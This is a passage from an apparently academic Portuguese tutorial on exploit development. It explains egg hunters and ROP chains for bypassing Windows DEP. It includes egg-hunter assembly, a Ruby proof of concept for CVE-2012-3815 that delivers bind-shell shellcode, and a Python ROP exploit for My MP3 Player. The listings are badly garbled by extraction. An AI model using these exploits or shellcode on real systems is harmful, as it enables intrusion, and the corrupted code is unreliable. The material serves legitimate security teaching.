tpico, seu cdigo pode ser expresso em uma quantidade muito menor de instrues. Assim, possvel ocupar pequenos espaos em memria com o primeiro estgio do payload o Egg Hunter e disponibilizar o restante do cdigo em uma outra rea de memria, inicialmente desconhecida e possivelmente distante da regio de memria onde a vulnerabilidade explorada. Por outro lado, um Egg Hunter impe o pr-requisito de que o atacante deve ser capaz de inserir o restante do shellcode em algum local no espao de endereos do processo atacado, ainda que a localizao exata dessa frao de cdigo no seja conhecida. importante destacar que um Egg Hunter, apesar de ser classificado como um mecanismo de execuo de shellcodes em dois estgios, difere dos payloads multiestgios existentes nos frameworks para testes de penetrao. No Metasploit, por

exemplo, os payloads multiestgios utilizam a primeira poro de cdigo para criar um canal de comunicao entre a mquina do atacante e o sistema alvo [Maynor e Mookhey, 2007]. Atravs desse canal, o segundo estgio do payload que contm o shellcode escolhido pelo atacante enviado para a vtima. No caso dos Egg Hunters, os dois estgios so inseridos pelo prprio atacante na memria da mquina alvo, de forma independente. Ou seja, o segundo estgio no carregado em memria pelo Egg Hunter. Isso permite que o tamanho do cdigo de um Egg Hunter seja muito menor do que o tamanho do cdigo do primeiro estgio utilizado pelos frameworks para testes de penetrao. A implementao de Egg Hunter para Windows discutida a seguir, por exemplo, ocupa 32 bytes, enquanto o menor payload (find_tag) gerado pelo Metasploit para o mesmo sistema operacional demanda 92 bytes de espao em memria. Alm disso, os Egg Hunters evitam a necessidade de uma conexo entre a mquina alvo e a mquina do atacante, o que em muitos casos pode ser invivel. Em contrapartida, eles apresentam a desvantagem de requerer que o shellcode seja inserido diretamente na memria do processo. Normalmente, isso conseguido pelos atacantes atravs da submisso de uma entrada adicional para o programa alvo, que contenha apenas o segundo estgio do cdigo. Note que essa entrada adicional no precisa coincidir com a entrada utilizada para explorar a vulnerabilidade do programa, pois basta que o processo aceite os dados e armazene-os em memria. O principal desafio de um Egg Hunter consiste em evitar o acesso a regies de memria invlidas ou que no tenham sido alocadas para o programa, a fim de impedir o lanamento de interrupes que abortem a execuo do cdigo. Alm disso, desejvel que o Egg Hunter seja eficiente, pois o ataque poder ser detectado caso o processo de busca em memria exija muito esforo computacional. Miller [Miller, 2004] apresenta estratgias confiveis, portveis e pequenas para pesquisar o espao virtual de endereos de um processo em sistemas operacionais Windows e Linux. Entre as diversas solues propostas nesse estudo, o mecanismo desenvolvido para ambientes Windows baseado na chamada de sistema NtDisplayString ganhou notoriedade por seu tamanho reduzido e por sua confiabilidade. Em funo dessas caractersticas, desde a sua publicao, esse mtodo tem sido amplamente empregado em diversos exploits. Posteriormente, foi proposta a substituio da chamada de sistema NtDisplayString pela chamada NtAccessCheckAndAuditAlarm uma vez que a segunda mantm o mesmo identificador de chamada em todas as verses NT do Windows tornando o cdigo mais portvel [Jurczyk, 2012]. O cdigo de montagem desse Egg Hunter para a arquitetura IA-32 apresentada na Tabela 1.4. Uma vez que a chamada de sistema NtAccessCheckAndAuditAlarm est disponvel apenas nas verses NT do Windows, o Egg Hunter apresentado na Tabela 1.4 aplica-se somente aos sistemas operacionais da Microsoft pertencentes a essa famlia. Essa chamada de sistema utiliza pelo Egg Hunter para validar as pginas de memria antes de efetivamente acess-las, evitando a incidncia de violaes que abortem a execuo do processo. Antes de ler o contedo apontado pelo registrador EDX, a chamada NtAccessCheckAndAuditAlarm checa se o endereo vlido. Na ocorrncia de acessos invlidos, o valor 0xc0000005 retornado no registrador EAX. Escolhendose outra chamada de sistema que desempenhe o mesmo papel, pode-se facilmente adaptar o cdigo apresentado na Tabela 1.4 para atender a outras plataformas.

Tabela 1.4. Cdigo de Egg Hunter para sistemas Windows NT em arquitetura IA-32.

N End. rel. Cd. (hexa) 1 inc_pg:$+0 6681CAFF0F 2 inc_end:$+5 42 3 $+6 52 4 $+7 6A02 5 $+9 58 6 $+A CD2E 7 $+C 3C05 8 $+E 5A 9 $+F 74EF 10 $+11 B845545353 11 12 13 14 15 16 $+16 8BFA $+18 AF $+19 $+1B $+1C $+1E 75EA AF 75E7 FFE7

Assembly or dx,0xfff inc edx push edx push 0x2 pop eax int 0x2e cmp al,0x5 pop edx jz inc_pg mov eax,0x53535445 mov edi,edx scasd jnz inc_end scasd jnz inc_end jmp edi

Comentrio Anota ltimo endereo da pgina Obtm primeiro endereo da pgina seguinte Salva EDX (endereo a ser analisado) Empilha valor que indica a chamada de sistema Salva em EAX o indicador da chamada de sistema Chama o kernel para executar a chamada indicada Checa se h violao de acesso (cd. = 0xc0000005) Recupera em EDX o endereo a ser analisado Salta para a prxima pgina se houver violao Carrega a chave (ETSS nesse exemplo) em EAX Copia endereo para EDI (scasd incrementa o valor) Compara a chave (EAX) com o valor apontado por EDI, seta flag de status e incrementa o valor de EDI Salta para prximo endereo se no casar a chave Compara novamente a chave (2 parte) Salta para prximo endereo se no casar a 2 parte Salta para a primeira instruo do shellcode

Para encontrar o shellcode na memria tambm chamado de ovo , os Egg Hunters utilizam um marcador, que deve ser inserido junto com o segundo estgio do cdigo, imediatamente antes da primeira instruo a ser executada. Essa chave deve ser nica, ou seja, no deve existir em qualquer outra posio de memria do processo. Caso contrrio, o fluxo de execuo poder ser desviado para a rea de memria onde h a coliso com a chave, ao invs de saltar para o shellcode. Por isso, o atacante deve, pelo menos, se certificar de que a chave escolhida jamais colidir com qualquer cdigo de operao definido para o conjunto de instrues de mquina da arquitetura utilizada. Alm disso, como usualmente a chave codificada dentro do Egg Hunter, ela deve ser inserida duas vezes antes do payload, como forma de diferenciar o shellcode do prprio Egg Hunter. No exemplo apresentado na Tabela 1.4, foi utilizada a chave ETSS, que convertida para os valores ASCII de cada caractere, em hexadecimal, corresponde a 0x45545353. Ao prefixar o cdigo do shellcode com a chave, deve-se anot-la duas vezes, conforme a seguir: 0x4554535345545353. No exemplo de cdigo apresentado na Tabela 1.4, o registrador EDX utilizado como ponteiro para a clula de memria a ser comparada com a chave. As duas primeiras instrues garantem que EDX guardar o primeiro endereo da pgina de memria subsequente pgina inicialmente apontada por EDX. Note que o cdigo evita inicializar EDX em uma pgina especfica, j que normalmente a localizao do shellcode no conhecida. Assim, economiza-se alguns bytes. No entanto, pode ser necessrio estabelecer explicitamente o endereo inicial de busca, uma vez que ele deve ser menor do que a posio onde o shellcode armazenado. Uma escolha conservadora inicializar o registrador EDX com o endereo 0x00000000. Porm, deve-se lembrar que, na maioria dos casos, essa inicializao no pode ser efetuada diretamente, devido existncia de null bytes. Uma boa alternativa pode ser encontrar em tempo de execuo o endereo inicial do processo ou da sua rea de pilha. Alm disso, em alguns casos pode ser necessrio inicializar o registrador EDX com um endereo que impea o Egg Hunter de encontrar uma cpia corrompida do shellcode. Independente da

motivao, em todas as situaes mencionadas, pode-se alterar a posio inicial de memria a ser pesquisada pelo Egg Hunter atravs da incluso de instrues no incio do cdigo. Alm de evitar o desvio do fluxo de execuo para verses corrompidas do shellcode, iniciar a busca a partir de um determinado endereo pode ser til nas situaes em que se deseja reduzir o tempo de execuo do Egg Hunter. O tempo requerido para testar todos os endereos de memria procura da chave pode acarretar em problemas de ordem prtica para o sucesso da explorao. O usurio do equipamento atacado pode, por exemplo, reiniciar o processo alvejado em decorrncia de um longo tempo sem respostas da aplicao. Aps armazenar em EDX o primeiro endereo da pgina de memria, a terceira instruo salva o valor de EDX na pilha, a fim de possibilitar a sua posterior restaurao. Esse procedimento necessrio porque a chamada de sistema NtAccessCheckAndAuditAlarm, efetuada na sexta instruo do cdigo, corrompe o valor desse registrador durante sua execuo. Ao contrrio das chamadas de funes tradicionais, nas quais os parmetros so anotados na pilha, nas chamadas de sistema do Windows os parmetros so armazenados em um vetor de argumentos apontado pelo registrador EDX. O registrador EAX, por sua vez, usado para indicar para o kernel qual chamada de sistema o processo deseja executar. Como o valor correspondente chamada de sistema NtAccessCheckAndAuditAlarm 2, esse valor carregado em EAX pelas instrues 4 e 5, antes do Egg Hunter chamar o kernel do sistema na instruo 6. A instruo 7 compara a poro menos significativa do registrador EAX, onde a chamada de sistema armazena seu valor de retorno, com o valor 5. Se os valores forem iguais, significa que o cdigo 0xc0000005, indicativo de violao de acesso, foi retornado. Nesse caso, a nona instruo salta para a primeira, onde o processo reiniciado com o incremento da pgina de memria. Esse incremento da pgina de memria evita que o Egg Hunter percorra todos os endereos de memria, reduzindo o esforo computacional. Ele possvel porque todas as posies de memria pertencentes a uma mesma pgina possuem as mesmas restries de acesso. Porm, antes de testar a condio do salto previsto na instruo 9, o valor de EDX extrado da pilha e restabelecido pela oitava instruo. Caso a chamada de sistema no retorne um sinal indicativo de violao de acesso, a execuo prossegue para finalmente comparar a chave com o contedo do endereo apontado por EDX. Para isso, a instruo 10 carrega a chave no registrador EAX e a instruo 11 copia o endereo armazenado em EDX para EDI. Essa cpia somente necessria porque a instruo de comparao de strings scasd, executada na sequncia, efetua tambm o incremento do endereo armazenado em EDI em 4 unidades. Caso o contedo de EAX seja diferente do contedo apontado por EDI, o valor de EDX mantem-se o mesmo e o salto indicado na instruo 13 retoma o processo de busca a partir da instruo 2, na qual o endereo armazenado em EDX incrementado. Por outro lado, se a primeira comparao efetuada pela instruo 12 indicar que a chave foi encontrada, o valor de EDI j ter sido incrementado e apontar para os

prximos 4 bytes, permitindo a comparao da segunda cpia da chave. As instrues 14 e 15 repetem o processo de verificao do casamento do marcador e, concretizandose o segundo casamento, o Egg Hunter encerrado com o salto para a primeira instruo do shellcode, apontada por EDI. Uma caracterstica importante do Egg Hunter apresentado decorre do uso das duas instrues de PUSH. Elas sobrescrevem os dados armazenados nos 8 bytes anteriores posio apontada pelo registrador de topo de pilha (ESP). Isso significa que o shellcode ser corrompido pelo Egg Hunter caso o registrador ESP aponte para algum endereo at 8 bytes posterior s posies usadas pelo payload. Um exemplo recente de exploit que utiliza exatamente a implementao de Egg Hunter apresentada na Tabela 1.4 pode ser encontrado em 12. Nesse artefato, explorada uma vulnerabilidade no software Winlog Lite, desenvolvido pela Sielco Sistemi. A vulnerabilidade foi divulgada em 05 de junho de 2012, juntamente com a PoC apresentada na Listagem 1.5, e recebeu o identificador CVE-2012-3815.
Listagem 1.5. Cdigo de exploit que utiliza um Egg Hunter para executar o shellcode.
1 2 3 4 5 ! $ % ' 1& 11 12 13 14 15 1! 1$ 1% 1' 2& 21 21 23 24 25 2! 2$ 2% 2' 3& 31 32 33 34 35 3! 3$ 3% 3' 4& 41 42 43 44 reGuire Hsoc9etH port ( )4!%24) host ( )1&1%12%13$) s ( =@F>oc9et1open(host,port) s/eep(&15) e##hunter ( )D-!!D-%1D-caD-ffD-&fD-42D-52D-!aD-&2D-5%D-cdD-2eD-3cD-&5D-5aD-$4) e##hunter II )D-efD-b%D-$$D-!fD-!fD-$4D-%bD-faD-afD-$5D-eaD-afD-$5D-e$D-ffD-e$) + "sfpay/oad 2indo2s4she//6bind6tcp B J "sfencode Kt ruby +[*] -%!4shi9ata6#a6nai succeeded 2ith siLe 3!% (iteration(1) she//code ( )D-dbD-c%D-d'D-$4D-24D-f4D-5bD-baD-45D-$!D-&%D-f1D-33D-c') . )D-b1D-5!D-31D-53D-1%D-%3D-ebD-fcD-&3D-53D-51D-'4D-fdD-&d) . )D-b1D-d1D-feD-edD-41D-%2D-$$D-&%D-$&D-'&D-ecD-5%D-2&D-24) . )D-!!D-&cD-c%D-cfD-2aD-a5D-5bD-bdD-e2D-caD-ecD-&%D-d5D-e5) . )D-edD-bcD-d'D-aaD-2dD-deD-a5D-b&D-!1D-&&D-'$D-$aD-$4D-41) . )D-d&D-!$D-$!D-13D-%'D-ecD-24D-%4D-beD-b1D-f4D-a5D-1&D-be) . )D-44D-deD-15D-&1D-3&D-54D-1$D-52D-e%D-e3D-5fD-4aD-%3D-ac) . )D-$fD-!bD-4&D-afD-bcD-22D-edD-&4D-3!D-b5D-2$D-55D-b$D-%$) . )D-&$D-3aD-%!D-2$D-%aD-42D-ceD-%&D-$4D-31D-24D-f3D-&'D-42) . )D-ffD-%'D-d5D-c$D-e2D-2aD-'eD-$&D-c$D-cbD-$3D-e!D-%cD-c&) . )D-3%D-!cD-caD-c4D-bfD-a1D-!&D-f&D-34D-44D-a$D-$&D-&eD-!3) . )D-!3D-d%D-d5D-&aD-32D-%4D-b%D-33D-24D-!&D-!5D-'!D-2eD-%3) . )D-$2D-a&D-!cD-ccD-b$D-'fD-%eD-&cD-dfD-a%D-fdD-3eD-4&D-&3) . )D-!aD-$3D-&'D-%dD-!dD-$4D-2&D-!'D-e1D-%bD-caD-%aD-2bD-4%) . )D-'eD-daD-43D-$'D-'eD-b&D-'3D-%!D-4bD-1!D-c4D-2%D-23D-d$) . )D-b4D-%%D-'3D-bfD-deD-&!D-ccD-a&D-e&D-ccD-$bD-e$D-2eD-34) . )D-2%D-%&D-52D-caD-dfD-&cD-daD-2cD-b5D-bcD-%aD-e$D-21D-$f) . )D-e'D-3fD-d!D-%&D-dbD-13D-4fD-1$D-53D-$aD-5$D-1%D-!4D-a%) . )D-f4D-b5D-ccD-3bD-%eD-d5D-c%D-5aD-'1D-f3D-$%D-14D-aaD-'4) . )D-f3D-4%D-$'D-&4D-&3D-41D-e'D-a5D-'!D-&eD-e'D-a&D-%aD-'%) . )D-beD-e5D-$dD-d1D-2aD-1%D-2$D-4bD-4%D-e1D-b1D-b4D-c%D-3e) . )D-&2D-3aD-d1D-b3D-3eD-1%D-c1D-&dD-beD-24D-b5D-c1D-e'D-f2) . )D-!3D-a4D-43D-b5D-ddD-$eD-3fD-1fD-%'D-&$D-$3D-a&D-cfD-&$) . )D-5eD-5!D-2fD-b'D-3$D-2fD-5&D-$!D-d&D-a$D-2'D-!aD-4&D-4$) . )D-e&D-2eD-$&D-&2D-a%D-&$D-1'D-cbD-3'D-1aD-44D-ecD-'4D-5') . )D-$1D-!fD-1cD-22D-%!D-!fD-55D-2$D-c2D-3$D-%!D-55D-5bD-d2) . )D-a%D-caD-5cD-f$) puts )p/acin# the she//code)
%&

http://www.s3cur1ty.de/m1adv2012-001

45 4! 4$ 4% 4' 5& 51 52 53 54 55 5! 5$ 5% 5' !& !1 !2 !3

buffer ( )D-41) * 2&&& buffer II )2oot2oot) +e## buffer II )D-'&) buffer II she//code buffer II )D-'&) * 2&&& print )buffer /en#thM +{buffer1/en#th DrDn) s1puts(buffer) puts )s/eepin# 111) s/eep(5) puts )9ic9in# 111) buffer ( )D-41) * 2& . )D-14) * 1& . )D-41) * 1!$ buffer II )D-dfD-53D-51D-4&) +<:F KN O"p <>F K Pc/-4&1bp/ K &-4&5153df buffer II )D-'&) buffer II e##hunter buffer II )D-'&) * (5' K e##hunter1/en#th) print )buffer /en#thM +{buffer1/en#th DrDn) s1puts(buffer)

Nas primeiras linhas do exploit (1 a 6), desenvolvido na linguagem de programao Ruby, a biblioteca para instanciar soquetes importada, as variveis que definem o endereo IP e a porta de destino so inicializadas e o soquete de comunicao com a aplicao vulnervel criado. Depois de aguardar 0,5 segundos, o buffer que armazena o cdigo do Egg Hunter inicializado. Note que o cdigo hexadecimal do Egg Hunter praticamente idntico ao cdigo apresentado na Tabela 1.4. A nica diferena, expressa do dcimo nono ao vigsimo segundo bytes, decorre da discrepncia na chave utilizada. Enquanto no cdigo apresentado na Tabela 1.4 a chave ETSS, na PoC foi empregada a chave woot, conforme indicado na linha 46 do exploit. Nesse caso, o valor ASCII correspondente 0x776f6f74. Nas linhas de 13 a 42 inicializada a varivel que armazena o cdigo do shellcode. O autor utiliza um shellcode do tipo bind shell, que abre a porta 4444 na vtima e aguarda uma conexo por onde envia um shell remoto. Repare que o shellcode, com 368 bytes de tamanho, bem maior do que os 32 bytes do Egg Hunter. Nas linhas de 44 a 51, o buffer que contm o shellcode montado e enviado aplicao via conexo TCP. Nesse ponto, cabe ressaltar a incluso da chave woot duas vezes em sequncia, antes da primeira instruo do shellcode. O autor utilizou o formato de strings da linguagem Ruby para evitar a escrita manual dos bytes da chave, necessria caso o marcador fosse expresso em formato hexadecimal. Os bytes adicionados ao buffer nas linhas 45 e 49 tm a funo apenas de complementar o tamanho do buffer para que, quando a aplicao manipular os dados recebidos, o trecho correspondente ao shellcode permanea em memria. A segunda remessa de dados maliciosos montada e enviada nas linhas de 56 a 63. Esse fragmento corresponde entrada formatada para ocasionar o overflow e para desviar o fluxo de execuo para o Egg Hunter. 1.4.2. Return-Oriented Programming (ROP) A tcnica de desenvolvimento de exploits denominada Return-Oriented Programming (ROP) baseia-se no reuso de cdigo para superar a proteo oferecida pelo bit de execuo (NX/XD). Ao contrrio da tradicional tcnica de reuso de cdigo return-tolibc, na qual o atacante desvia o fluxo de execuo para o incio de alguma funo til

para o ataque (normalmente disponvel na biblioteca libc), o ROP encadeia vrios pequenos trechos de cdigo (gadgets) a fim de executar uma determinada tarefa. Para conseguir esse encadeamento, a ltima instruo de cada trecho de cdigo escolhido deve executar um desvio. A ideia original do ROP utiliza gadgets finalizados com instrues de retorno (RET) para interligar as fraes de cdigo escolhidas [Shacham, 2007]. Da surgiu o nome da tcnica. A vantagem do ROP em relao ao return-tolibc decorre da ampliao das possibilidades para o shellcode, pois ao usar a segunda tcnica, as aes do atacante ficam limitadas s funes carregadas na memria. O encadeamento de cdigos, efetuado antes de desviar o fluxo de execuo para o shellcode, pode ter como objetivo realizar diversas tarefas: habilitar o bit de execuo para a regio de memria onde o shellcode se localiza, copiar o shellcode para uma rea de memria com permisso de execuo ou desabilitar a proteo oferecida pelo bit NX/XD. Nos sistemas operacionais da Microsoft, em funo da grande quantidade de incompatibilidade de aplicaes com o DEP, por padro essa proteo no habilitada para todos os processos. Ao invs disso, o administrador do sistema pode escolher entre quatro polticas de uso, detalhadas na Tabela 1.5.
Tabela 1.5. Opes de configurao do DEP [Microsoft, 2006].

Opo OptIn

Descrio Configurao padro nas verses XP, Vista e 7 do Windows. O DEP habilitado para alguns binrios do sistema e para programas includos pelo administrador do sistema na lista de opo por usar a proteo (opt-in). OptOut Configurao padro nas verses Server do Windows. O DEP habilitado para todos os processos, exceto aqueles includos pelo administrador do sistema na lista de opo por no usar a proteo (opt-out). AlwaysOn O DEP habilitado para todos os processos, sem excees. AlwaysOff O DEP desabilitado para todos os processos, sem excees.

As polticas de uso do DEP definem tambm se um processo pode alterar sua prpria opo de configurao para essa proteo. Se as opes AlwaysOn ou AlwaysOff estiverem ativas, nenhum processo pode alterar suas configuraes relativas ao DEP. Por outro lado, se as opes OptIn ou OptOut estiverem ativas (e se o Permanent DEP explicado a seguir estiver desativado,) o processo poder chamar a funo "NtSetInformationProcess" [Miller e Johnson, 2005] ou a funo "SetProcessDEPPolicy" [Damele, 2009] para alterar sua opo de configurao. Ressalta-se, porm, que a funo SetProcessDEPPolicy s pode ser chamada uma vez por cada processo. Portanto, se essa funo j tiver sido chamada pelo processo atacado, o exploit no funcionar caso efetue uma nova chamada. Isso ocorre, por exemplo, com o Internet Explorer 8, que chama a funo SetProcessDEPPolicy assim que o programa inicia. Alm das quatro opes de configurao do DEP, a partir do Windows Vista, a Microsoft incorporou um mecanismo denominado Permanent DEP, que ativado automaticamente para os executveis ligados com a opo /NXCOMPAT. Essa opo tambm pode ser ativada individualmente pelos processos atravs de uma chamada funo SetProcessDEPPolicy. O Permanent DEP tem impacto direto na escolha da estratgia usada para superar o DEP, pois quando esse indicador est ativo, nenhuma funo pode ser usada para alterar a poltica de DEP configurada para o processo [Eeckhoutte, 2010b].

Quando o permanent DEP ou a opo AlwaysOn esto ativos, os atacantes recorrem a outras estratgias para burlar o DEP. Uma delas chamar a funo VirtualProtect para marcar como executvel a pgina de memria onde o shellcode se localiza. Outra abordagem consiste em executar a funo WriteProcessMemory, que permite copiar o shellcode para uma localizao executvel da memria, desde que essa regio tambm seja gravvel. Se isso no for vivel, existe ainda a possibilidade de utilizar a funo VirtualAlloc ou a funo HeapCreate para criar uma nova regio de memria com permisses de execuo e escrita. Aps criar essa rea, basta copiar o shellcode para l atravs de uma chamada a funes como memcpy ou WriteProcessMemory. Acontece que para chamar as funes que permitem superar o DEP atravs das estratgias mencionadas, necessrio preparar os parmetros a serem submetidos para essas APIs (Application Programming Interfaces). Ao explorar uma vulnerabilidade do tipo estouro de pilha, como os argumentos tambm so anotados na pilha, teoricamente bastaria inseri-los na pilha junto com os dados que acarretam no estouro e executar a chamada direta da funo (equivalente tcnica ret-to-libc). Entretanto, endereos previamente desconhecidos (como a localizao exata do shellcode) ou valores que contenham bytes nulos (0x00) usualmente exigem a execuo prvia de instrues para carregar o valor desejado na pilha. Por isso, a preparao dos argumentos requer uma seleo minuciosa de gadgets para o encadeamento de instrues, alm da escolha precisa dos valores a serem escritos durante o overflow. Esses gadgets devem manipular os dados inseridos pelo atacante na memria a fim de gerar os parmetros adequados para chamar-se a API escolhida. O grande desafio imposto pela tcnica ROP reside no fato que, na maioria das vezes, ao executar instrues para preparar e escrever um valor na pilha, acaba-se alterando outros valores em registradores ou na prpria pilha. Por isso, a escolha dos gadgets deve ser bastante criteriosa. Os gadgets podem ser compostos por instrues encontradas em qualquer mdulo, desde que essas instrues sejam executveis, localizem-se em um endereo conhecido e no contenham bytes nulos (essa ltima restrio pode ser desconsiderada caso os dados de entrada no sejam lidos como strings). Alm disso, como a arquitetura x86 utiliza instrues de tamanhos variados, no h nenhuma exigncia para que os acessos ao segmento de instrues (.text) respeitem algum tipo de alinhamento. Assim, possvel utilizar partes de uma instruo original como se fossem novas instrues. Uma instruo ADD AL, 058 (080C058), por exemplo, se for referenciada a partir do seu terceiro byte (0x58), ser interpretada como uma instruo POP EAX (0x58). Esse artifcio constantemente utilizado pelos atacantes durante a pesquisa por gadgets teis para a construo de uma cadeia de instrues. Alm do Windows, o ROP utilizado para desenvolver exploits direcionados a outros sistemas operacionais que implementam protees baseadas no bit NX/XD, como o Linux. Normalmente, assim como no Windows, a tcnica ROP empregada em uma etapa inicial dos ataques, necessria para organizar os parmetros a serem passados para as funes. A diferena, portanto, reside nas funes disponveis para a concluso dos ataques e em como essas funes recebem os parmetros [Le, 2010]. Um exemplo de exploit que utiliza a funo SetProcessDEPPolicy para desativar a proteo oferecida pelo DEP apresentado na Listagem 1.6. Nesse artefato,

divulgado em 17 de setembro de 2011, explorada uma vulnerabilidade de estouro de pilha no software My MP3 Player13. Conforme indicado no prprio cdigo, o ataque realizado por esse exploit funciona contra verses do Windows XP SP3, com as opes OptIn (incluindo o My MP3 Player na lista) ou OptOut do DEP habilitadas.
Listagem 1.6. Cdigo de exploit que utiliza a funo SetProcessDEPPolicy para desativar o DEP.
1 2 3 4 5 ! $ % ' 1& 11 12 13 14 15 1! 1$ 1% 1' 2& 21 22 23 24 25 2! 2$ 2% 2' 3& 31 32 33 34 35 3! 3$ 3% 3' 4& 41 42 43 44 45 4! + ca/c1e-e K 1&14 bytes of space for she//code she//code (( )D-ebD-&3D-5'D-ebD-&5D-e%D-f%D-ffD-ffD-ffD-4fD-4'D-4'D-4'D-4'D-4'D-4'D-51D-5aD-5!D-54Q )D-5%D-3!D-33D-3&D-5!D-5%D-34D-41D-3&D-42D-3!D-4%D-4%D-3&D-42D-33D-3&D-42D-43D-5!D-5%) )D-32D-42D-44D-42D-4%D-34D-41D-32D-41D-44D-3&D-41D-44D-54D-42D-44D-51D-42D-3&D-41D-44) )D-41D-5!D-5%D-34D-5aD-3%D-42D-44D-4aD-4fD-4dD-4eD-4fD-4aD-4eD-4!D-44D-42D-3&D-42D-5&) )D-42D-3&D-4bD-4%D-45D-54D-4eD-43D-4bD-3%D-4eD-4$D-45D-5&D-4aD-5$D-41D-3&D-4fD-4eD-4b) )D-5%D-4fD-54D-4aD-41D-4bD-3%D-4fD-45D-42D-42D-41D-5&D-4bD-4eD-4'D-44D-4bD-3%D-4!D-33) )D-4bD-4%D-41D-5&D-5&D-4eD-41D-53D-42D-4cD-4'D-5'D-4eD-4aD-4!D-5%D-42D-4cD-4!D-5$D-4$) )D-3&D-41D-4cD-4cD-4cD-4dD-3&D-41D-3&D-44D-4cD-4bD-4eD-4!D-4fD-4bD-53D-4!D-55D-4!D-32) )D-4!D-5&D-45D-4$D-45D-4eD-4bD-5%D-4fD-45D-4!D-52D-41D-5&D-4bD-4eD-4%D-5!D-4bD-5%D-4e) )D-5&D-4bD-44D-4bD-4%D-4fD-55D-4eD-41D-41D-3&D-4bD-4eD-4bD-5%D-4eD-41D-4bD-3%D-41D-5&) )D-4bD-4eD-4'D-4%D-4eD-45D-4!D-32D-4!D-5&D-43D-4cD-41D-33D-42D-4cD-4!D-4!D-4bD-3%D-42) )D-44D-42D-53D-45D-3%D-42D-4cD-4aD-4$D-4eD-3&D-4bD-4%D-42D-44D-4eD-5&D-4bD-5%D-42D-3$) )D-4eD-51D-4dD-4aD-4bD-4%D-4aD-3!D-4aD-3&D-4bD-4eD-4'D-5&D-4bD-3%D-42D-5%D-42D-4bD-42) )D-5&D-42D-5&D-42D-5&D-4bD-3%D-4aD-3!D-4eD-43D-4fD-45D-41D-53D-4%D-4fD-42D-4!D-4%D-35) )D-4'D-3%D-4aD-4fD-43D-4%D-42D-4cD-4bD-5$D-42D-45D-4aD-3!D-42D-4fD-4cD-3%D-4!D-3&D-4f) )D-35D-4aD-4!D-4aD-3'D-5&D-4fD-4cD-3%D-5&D-5&D-4$D-55D-4fD-4fD-4$D-4eD-43D-4!D-41D-4!) )D-4eD-4!D-43D-3!D-42D-5&D-5a)) buffer ( )D-41) * 1&24 eip ( )D-''D-13D-&'D-5d) + B<=; K @?C@=R32 rop ( )D-42) * 4 + ,un9 to co"pensate rop .( )D-%cD-3'D-&'D-5d) + F?F <ST, B<=; K @?C@=R32 rop .( )D-ffD-ffD-ffD-ff) rop .( )D-2%D-'&D-12D-$$) + :;@ <ST, B<=; K ?R<*3=32 rop .( )D-44D-'4D-12D-$$) + F?F <SF, B<=; K ?R<*3=32 rop .( )D-44D-21D-%!D-$c) + >etFrocessU<FFo/icy rop .( )D-3!D-1cD-12D-$$) + F?F <U:, B<=; V ?R<*3=32 rop .( )D-3$D-1cD-12D-$$) + B<=; K ?R<*3=32 rop .( )D-d4D-1aD-12D-$$) + F?F <>:, B<=; K ?R<*3=32 rop .( )D-3$D-1cD-12D-$$) + B<=; K ?R<*3=32 rop .( )D-f$D-%cD-14D-$$) + F3>E*U, B<=; K ?R<*3=32 nops ( )D-'&) * 2& ,un9 ( )D-42) * (2&&& K /en(nops . she//code . rop)) print )[.] @reatin# "a/icious 1"3u fi/e) tryM fi/e ( open()e-p/oit1"3u),)2)) fi/e12rite(buffer . eip . rop . nops . she//code . ,un9) fi/e1c/ose() print )[.] 0i/e created) e-ceptM print )[-] @ou/d not create fi/e) ra26input()DnFress any 9ey to e-it111Dn))

Na linha 21 do exploit, desenvolvido na linguagem de programao Python, a varivel buffer inicializada com 1024 bytes, necessrios para preencher o espao compreendido entre o buffer estourado e o endereo de retorno da funo. Em seguida (linha 22), a varivel eip guarda o valor a ser escrito no endereo de retorno. Como o DEP est ativo para o processo atacado, no possvel usar a estratgia tradicional em estouros de pilha, que consiste em saltar direto para o shellcode armazenado na prpria pilha (usualmente desviando para o endereo apontado por ESP com uma instruo da
%'

http://www.exploit-db.com/exploits/17854/ (O endereo da funo SetProcessDEPPolicy (0x7C862144) foi alterado em relao ao valor contido no exploit original para refletir sua localizao no Windows XP SP3 English, usado durante os testes).

forma JMP ESP). Antes de saltar para o shellcode, o exploit trata de desabilitar o DEP. Para isso, o valor que ir sobrescrever o endereo de retorno corresponde ao endereo de uma instruo RETN existente na biblioteca COMCTL32 (0x5D091399). Esse o primeiro gadget executado pelo payload malicioso, assim que o fluxo de execuo subvertido. Em seguida, a cadeia de instrues ROP comea a ser construda na varivel denominada rop (linhas 23 a 33). A Figura 1.8 ilustra o formato da cadeia ROP estabelecida nesse exploit. As setas tracejadas indicam o momento em que cada endereo ou dado armazenado na pilha utilizado por uma instruo. As setas contnuas representam a sequncia de execuo dos gadgets escolhidos.

Figura 1.8. Estrutura da pilha e fluxo entre gadgets do exploit apresentado na Listagem 1.6.

O primeiro valor escrito na varivel rop (linha 23 da listagem 1.6) corresponde a um simples ajuste de deslocamento na pilha, pois a instruo de retorno RETN 4 (endereo 0x0050A1DD), que d incio explorao ao saltar para o endereo sobrescrito na pilha (0x5D091399), realiza tambm o incremento do ponteiro de topo da pilha (ESP) em 4 unidades. Na linha 24, inserido o endereo do segundo gadget. A

partir desse ponto, os valores escritos na varivel rop, usados para sobrescrever a pilha conforme apontado na Figura 1.8, so endereos para gadgets ou valores que os gadgets utilizam para construir, na prpria pilha, os parmetros de chamada da funo SetProcessDEPPolicy. Para desabilitar o DEP, a funo SetProcessDEPPolicy recebe apenas um parmetro, de valor zero. Acima desse valor, colocado o endereo inicial da sequncia de instrues NOP, que precedem o shellcode (linha 34 do exploit). Esse endereo usado pela funo como endereo de retorno, o que garante a execuo do shellcode imediatamente aps o DEP ser desabilitado. Para estabelecer essa estrutura, o exploit utiliza a instruo PUSHAD, que empilha de uma nica vez o valor de todos os registradores de uso geral na pilha, na seguinte ordem: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI. Esse empilhamento representado na Figura 1.8 pela Pilha aps PUSHAD. Os valores de EAX, ECX e EDX so irrelevantes. EBX usado para guardar o valor zero, passado como parmetro para a funo SetProcessDEPPolicy. Como no possvel inserir bytes nulos diretamente na pilha, o valor 0xFFFFFFFF (-1) carregado em EBX por um gadget que contm a instruo POP EBX. Em seguida, usado um gadget com a instruo INC EBX para incrementar o valor desse registrador, tornando-o igual a zero. O valor de ESP anotado na pilha corresponde regio da pilha exatamente anterior aos valores anotados pela instruo PUSHAD. Esse valor aproveitado como endereo de retorno a ser passado para a funo SetProcessDEPPolicy, forando-a a retornar o fluxo de execuo direto para o shellcode (precedido por NOPs). Os registradores EBP, ESI e EDI so sobrescritos por gadgets compostos por instrues do tipo POP, que carregam valores da pilha direto 